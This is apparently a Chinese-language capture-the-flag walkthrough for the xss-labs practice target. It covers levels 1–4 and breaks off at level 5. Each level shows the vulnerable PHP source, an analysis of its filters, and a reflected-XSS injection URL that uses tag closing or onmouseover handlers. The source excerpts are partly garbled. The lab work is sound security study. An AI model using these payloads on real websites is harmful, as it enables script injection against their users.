xss-labs-master靶机是xss-labs作者在github上发布的后来不知道为什么就把它删了,可能是因为这个靶机属于静态页面有一个通用的推广方式(具体在后面),不过还是希望读者使用实战中的攻击手段学习,这个靶机是对XSS漏洞的专项练习,一共有二十关,也是小白的看门砖吧!比如现在的我!大哭!!!!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "欢迎用户"
.$str."";
?>
<center><img src=level1.png></center>
echo "payload的长度:"
.strlen($str)."";
?>
</body>
</html>
b、分析
这关只给一个图片,根据图片可以知道这关容易,而链接上有一个参数name,说明突破口再name这里,根据代码我们可以看出,代码是将用户以GET方式提交的参数name,没有做任何防御措施就直接显示在HTML页面中,所以将使用放入name变量中即可。
c、方法
这里就是直接用脚本的就行,没有方法可言。
d、注入语句
http://靶机网址/xss-labs-master/level1.php?name=<script>alert(/xss/)</script>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str.'">
';
?>
<center><img src=level2.png></center>
echo "payload的长度:"
.strlen($str)."";
?>
</body>
</html>
b、分析
这关我们可以发现多了一个文本框,我们先用之前的语句填入文本框里面,发现不行,什么有了防御机制,那么我们看看源代码,它将我们输入的值给了value,然后它再传给了一个htmlspecialchars
函数,这个函数是把预定义的字符转换为 HTML 实体,说明把标签吃掉了,那么我们的突破口就在value这里,我们可以通过闭合标签,使得
这一句就闭合掉,即在
前面加
">
,对前面input标签进行闭合。
htmlspecialchars
函数快查链接:这里
c、方法
这里就是我们使用闭合的方法,就是闭合了标签,产生新的执行语句。
d、注入语句
http://192.168.226.128/xss-labs-master/level2.php?keyword="><script>alert(/xss/)</script>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "没有找到和"
.htmlspecialchars($str)."相关的结果."."
";
?>
<center><img src=level3.png></center>
echo "payload的长度:"
.strlen($str)."";
?>
</body>
</html>
b、分析
这个题就是变了个图片,感觉也没什么的,先用之前的代码测试一下,发现没用,看看源码,发现这里不但对"
号做了防御,而这小子居然在value这里也加了htmlspecialchars
函数,还是逃不过啊!那就刚憋,虽然对了双引号做了防御,但是却放行单引号,这种情况我们可以通过事件标签触发表单执行。
c、方法
这种情况我们可以通过事件标签触发表单执行,即通过使用HTML的事件知识对其注入。
一些常用的HTML标签事件:这里
d、注入语句
http://192.168.226.128/xss-labs-master/level3.php?keyword='οnmοuseοver='alert(/xss/)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str3.'">
';
?>
<center><img src=level4.png></center>
echo "payload的长度:"
.strlen($str3)."";
?>
</body>
</html>
b、分析
这关和之前几个感觉差不多,同样不能用之前套路了,看看源码,发现这里不但对‘
号做了防御,他这次不对value进行过滤,而是用str_replace
函数直接过滤掉<>
,但是不知道是不是有疏忽,对了单引号做了防御,但是却放行双引号,这种情况我们还是可以通过事件标签触发表单执行。
str_replacestr
函数快查:在此
c、方法
这种情况我们可以通过事件标签触发表单执行,不过需要的双引号改成单引号。
d、注入语句
http://192.168.226.128/xss-labs-master/level3.php?keyword="οnmοuseοver="alert(/xss/)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("